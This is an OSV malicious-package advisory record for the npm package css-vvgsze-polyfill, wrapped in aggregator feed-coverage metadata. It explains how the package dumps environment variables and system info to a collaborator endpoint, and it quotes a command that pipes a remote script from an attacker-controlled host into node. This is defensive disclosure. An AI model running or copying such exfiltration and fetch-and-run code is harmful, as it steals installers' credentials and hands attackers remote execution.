{"id":"MAL-2026-17577","revision":null,"records":[{"revision":"d2450631ff7640b4a5756304bd76ac4d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17577","aliases":[],"title":"Malicious code in css-vvgsze-polyfill (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59)\nthunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.\n","state":0,"publishedAt":"2026-10-05T16:13:54+00:00","modifiedAt":"2026-10-05T16:31:38.2892285+00:00","affected":[{"ecosystem":"npm","name":"css-vvgsze-polyfill","ranges":[],"versions":["1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/css-vvgsze-polyfill/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17577","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17577","identifiers":["MAL-2026-17577"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T16:59:37.9488152+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T16:59:37.9488152+00:00","lastSuccessAt":"2026-11-11T16:59:38.1293575+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:38.1293586+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-20b9291a59074a85bd9fdbd9e0ff98a8d24930e69329e59e2815bc7b300e21fc","complete":true,"records":424170,"lastAttemptAt":"2026-11-11T16:57:33.0518174+00:00","lastSuccessAt":"2026-11-11T16:57:32.8751677+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:57:33.0518174+00:00","snapshotPublishedAt":"2026-11-11T16:29:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4351c3aec21c46fa943fb5060158bd33","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T17:11:46.90421+00:00","lastSuccessAt":"2026-11-11T17:11:46.897+00:00","error":"8 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T17:11:46.897+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13534,"expectedIdentifiers":13813,"failedIdentifiers":8},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T16:59:37.9488152+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T16:59:37.9488152+00:00","lastSuccessAt":"2026-11-11T16:59:38.1301472+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:38.1301474+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9169816ed33d4259981dbb50309d6730","complete":true,"records":13753,"lastAttemptAt":"2026-11-11T16:59:52.0562868+00:00","lastSuccessAt":"2026-11-11T16:59:52.052+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:52.052+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T16:59:37.8157847+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:37.8157847+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T16:57:33.208402+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:57:33.208402+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T16:59:37.9166712+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:37.9166712+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-1443070691f712910eadc1ced449c2937aded59c9a578abda33e86dec787c46b","complete":true,"records":231689,"lastAttemptAt":"2026-11-11T16:59:37.6826554+00:00","lastSuccessAt":"2026-11-11T16:59:36.20998+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:37.6826554+00:00","snapshotPublishedAt":"2026-11-11T16:33:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}